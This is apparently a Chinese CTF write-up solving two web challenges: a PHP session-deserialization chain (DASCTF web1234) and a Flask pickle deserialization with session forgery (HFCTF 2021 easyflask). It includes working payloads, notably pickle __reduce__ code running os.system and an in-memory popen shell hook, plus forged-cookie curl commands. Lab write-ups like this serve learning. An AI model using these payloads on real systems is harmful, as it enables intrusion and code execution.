[DASCTF X GFCTF 2024|四月开启第一局]web1234
base64+unserialize+md5
PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => Config
[uname] => admin
[passwd] => 50b9748289910436bfdd34bda7b1c9d9=>1q2w3e
[avatar] => /tmp/1.png
[nickname] => 小熊软糖OvO
[sex] => 女
[mail] => admin@admin.com
[telnum] => 12345678901
)
我觉得荔枝味的软糖天下第一!!!尤其是夹心那种的!!!
这图片。。。有点吓人(
public function __wakeup(){
if(is_string($_GET['backdoor'])){
$func = $_GET['backdoor'];
$func();//:)
}
}
这也太大胆了吧(
本题的 flag 不在环境变量中,session_start(),注意链子挖掘.把我前端删了,呃呃呃,怎么还把我日志关了
这record.php被删的一干二净哈哈哈
于是放弃命令执行,考虑去日志里找
session_start()
函数就是用来开启会话的,一旦会话启动,就可以在不同的页面之间存储和获取用户相关的数据。会话 ID
当调用
session_start()
时,PHP 会为当前用户分配一个唯一的会话 ID(通常是一个 32 位的字符串)。这个会话 ID 会通过 cookie 或者 URL 参数的方式传递给客户端浏览器。会话数据存储
会话数据会存储在服务器端的文件或者数据库中,文件名或者记录的标识通常就是会话 ID。客户端每次发送请求时,会携带会话 ID,服务器根据这个 ID 来查找对应的会话数据。
嘶,那岂不是日志一直存在唯一的用户(admin)ID对应的数据库中?我们只要进入会话中就可以操作,去看见日志
怎么看日志记录(record.php)呢?
public function __toString(){
if($this->data === "log_start()"){
file_put_contents("record.php","<?php\nerror_reporting(0);\n");
}
return ":O";
}
再找echo
语句/字符串拼接
public function __sleep(){
echo "<script>alert('edit conf success\\n";
echo preg_replace('/<br>/','\n',$this->showconf());
echo "')</script>";
return array("uname","passwd","avatar","nickname","sex","mail","telnum");
}
public function showconf(){
$show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
$show .= "nickname: $this->nickname<br>";
$show .= "sex: $this->sex<br>";
$show .= "mail: $this->mail<br>";
$show .= "telnum: $this->telnum<br>";
return $show;
}
#很难不说这两连着不显眼。。。
Config. __sleep()=>Config. showconf()=>Log.__toString()
当对一个对象使用
serialize()
函数进行序列化时,PHP 会自动检查该对象是否定义了__sleep()
方法。如果定义了,就会先调用这个方法。
?uname=admin&passwd=1q2w3e&backdoor=session_start
当调用 session_start()
时,PHP 会执行以下主要步骤:
检查会话 ID
- PHP 首先会检查客户端(通常是浏览器)是否已经发送了一个会话 ID。会话 ID 一般通过名为
PHPSESSID
的 cookie 或者 URL 参数传递给服务器。如果客户端没有提供会话 ID,PHP 会生成一个新的会话 ID。定位会话数据存储位置
- PHP 会根据
session.save_handler
和session.save_path
等配置项来确定会话数据的存储位置。常见的会话数据存储方式有文件存储、数据库存储等。在默认情况下,会话数据以文件形式存储在服务器的文件系统中,文件命名格式通常为sess_<session_id>
,其中<session_id>
就是生成或接收到的会话 ID。读取并反序列化会话数据
- 如果存在对应的会话文件(如
sess_XXX
),PHP 会读取该文件的内容。会话文件中的数据是经过序列化处理的,PHP 会根据session.serialize_handler
配置项指定的序列化方式(如php_serialize
、php_binary
等)对读取到的数据进行反序列化操作。- 反序列化完成后,PHP 会将反序列化得到的数据填充到
$_SESSION
超全局数组中,而不是得到一个名为$Session
的对象(在标准的 PHP 会话机制里是使用$_SESSION
数组来管理会话数据)。
?uname=admin&passwd=1q2w3e&backdoor=phpinfo
session.serialize_handler为php。
php
- 是 PHP 5.x 及早期版本的默认序列化处理程序。它采用一种特定的格式来序列化数组和对象。对于数组,会按照一定规则将键值对组合成字符串;对于对象,会存储对象的类名和属性信息。
- 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize
- 从 PHP 7.0 开始,
php_serialize
逐渐成为新的默认序列化处理程序。它基于 PHP 内置的serialize()
和unserialize()
函数工作,能更准确地处理各种复杂的数据类型,包括自定义类的对象。- 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
php_binary
- 它以二进制格式来序列化会话数据,序列化后的结果是二进制字符串。
- 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
所以读取对应的会话文件的内容反序列化=>$_SESSION
序列化会话数据:PHP 会根据
session.serialize_handler
配置项指定的序列化方式(如php_serialize
、php_binary
等),将$_SESSION
数组中的数据进行序列化。保存序列化数据:将序列化后的字符串保存到对应的会话文件中。会话文件的命名格式通常为
sess_<session_id>
,存储位置由session.save_path
配置项决定,默认情况下是/tmp
目录。
session.save_path取默认。
$_SESSION
=>会话文件,进行序列化=>Config. __sleep()
《?php
class Log
{
public $data;
}
class Config{
public $uname;
public $passwd;
public $avatar;
public $nickname;
public $sex;
public $mail;
public $telnum;
}
$a=new Config;
$a->avatar=$b;
$b=new Log;
$b->data === "log_start()";
echo serialize($a);
O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";N;}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
PHPSESSID=bae6cdb549e94c652632aa39240c6962,所以filename=”sess_XXX”=”sess_bae6cdb549e94c652632aa39240c6962”(当然这里随便都行,我就用它分配给我的了)
再保持键名一致即可(
qing|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}
暂时想不到什么好方法看日志,不过用木马确实是个好办法
public function upload($avatar){
$path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
file_put_contents($path,$avatar['fdata']);
return $path;
}
,而且路径也是/tmp目录下(这也太巧了吧,指指点点)file_put_contents
也太大胆了
我还想怎么去tmp目录下呢,那就在你这儿吧(
从给出的base64可得是写进去了(
file_put_contents("record.php","< ?php\nerror_reporting(0);\n");
so注意删去Cookie,防止再次写入 < ?php error_reporting(0);
木马/rce即可得到flag{8106a7ed-5578-47c2-a3a6-b75a1ef0c849}
[HFCTF 2021 Final]easyflask
Here is a js file. Source at /app/source
嗯嗯,知道了源文件的位置。/file?file=/app/source
尝试在file后输入被告知disallowed
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"#这个不吉岛
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
"""1. type 函数的使用
在 Python 中,type 函数有两种主要的用法:
当传入一个参数时,它用于返回该对象的类型,例如 type(1) 会返回 <class 'int'>。
当传入三个参数时,它可以用于动态创建类。这三个参数分别是:
类名:一个字符串,表示新创建类的名称,这里是 'User'。
基类元组:一个包含基类的元组,指定新类继承自哪些类。这里 (object,) 表示 User 类继承自 object 类,在 Python 3 中,所有类默认都继承自 object 类。
类属性字典:一个字典,包含类的属性和方法。这里定义了两个属性 uname 和 is_admin,以及一个特殊方法 __repr__。
2. 类属性和方法
uname:这是一个类属性,初始值为 'test'。可以通过类的实例访问和修改这个属性。
is_admin:同样是类属性,初始值为 0,通常可以用来表示用户是否为管理员的标识。
__repr__:这是一个特殊方法,用于返回对象的字符串表示形式。当你打印对象或者在交互式环境中查看对象时,会调用这个方法。这里使用了一个 lambda 函数,返回对象的 uname 属性值。"""
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):#检查会话中是否存在键为 'u' 的数据
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
"""session.get('u') 使用了 get 方法,这是 Python 字典(以及其他类似字典的对象)的一个常用方法。如果 'u' 键存在于 session 中,get 方法会返回对应的值;如果 'u' 键不存在,get 方法会返回 None(或者指定的默认值,这里没有提供默认值)。"""
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
试了下环境,直接爆了哈哈哈哈
/proc/1/environ
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=outFLAG=flag{48657e50-c6de-4a0a-9163-20c7fe9e6313}KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1KUBERNETES_SERVICE_HOST=10.240.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443LANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.8.2PYTHON_PIP_VERSION=20.0.2PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.pyPYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189esecret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuhHOME=/root
flag{48657e50-c6de-4a0a-9163-20c7fe9e6313}
正常一点:
/file?file=/proc/self/environ
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=out
PYTHON_VERSION=3.8.2
PWD=/app
_=/usr/local/bin/python3
HOME=/root
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
FLAG=flag_not_here
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
PYTHON_PIP_VERSION=20.0.2
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
PYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189e
KUBERNETES_SERVICE_HOST=10.240.0.1
KUBERNETES_PORT=tcp://10.240.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
OLDPWD=/app
坑1:
正常来说不进行base64加密,直接将
{'u':b'dumps结果'}
生成session也可以RCE,这是因为代码方面他只是检查了u是否是dict,无论是不是字典都会进行loads操作,所以直接传序列化字符串也可以。不过这只适用于一些简单的命令,比如ls之类的,反弹shell的命令由于字符过于复杂,所以只能使用base64加密的字典格式。
so,还是需要用字典(类属性字典)。得用User类
import pickle
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__':lambda o:(exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
})
u = User()
pickled = pickle.dumps(u)
pickled_data = base64.b64encode(pickled).decode('utf-8')
print("session=", pickled_data)
#然后发现内存马不管用
弄reduce,还需要伪造session,过程和[HCTF 2018]admin一样。
#在/file里先找到一个session
eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Z9lpXA.xSrSW0ScktiDr6ZSkcd75hXSjko
python3 flask_session_cookie_manager3.py decode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -c 'eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Z9lpXA.xSrSW0ScktiDr6ZSkcd75hXSjko'
得到{'u': b'\x80\x04\x95\x18\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94.'}
按照该格式构造:
python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u': b'gASVSAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwsX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvZmxhZyA+IC9wYXNzJymUhZRSlC4='}"
不知道为啥用工具生成的总是不对。。。最后用的python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle
import requests
app = Flask(__name__)
app.secret_key = 'glzjin22948575858jfjfjufirijidjitg3uiiuuh'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (eval, ("__import__('os').system('cat /flag > /pass')",))
})
b = {
"b": base64.b64encode(pickle.dumps(User()))
}
print(b)
print(session_serializer.dumps({'u': b}))
curl -b "session=.eJw1x8EOgiAcgPFXaTwBpl7avFRSc5Ni4p_wJupiApODzsr57tmhw_fbvgVN6LAg9WO3iSpMOFh6ZCX5d-YlvRY90RA-ZwlN0LlX1mKoBfGDNJ7DZfuQypzbWVp9ah2dSlfJTrST7ClVZuT04a1Io1nYZlZ4eHOnDcNkL1wQ1cTHrBgz9rGhAH3rjI8VwCBsxlWa4ztLErSu6xcjrzoA.Z9mBxg.P34L5iJKHY-pGfzV6xRtn7-RO_E" http://0d3edea2-7d43-41e1-a8f6-96c9aec28205.node5.buuoj.cn:81/admin
返回500报错,但是命令已经执行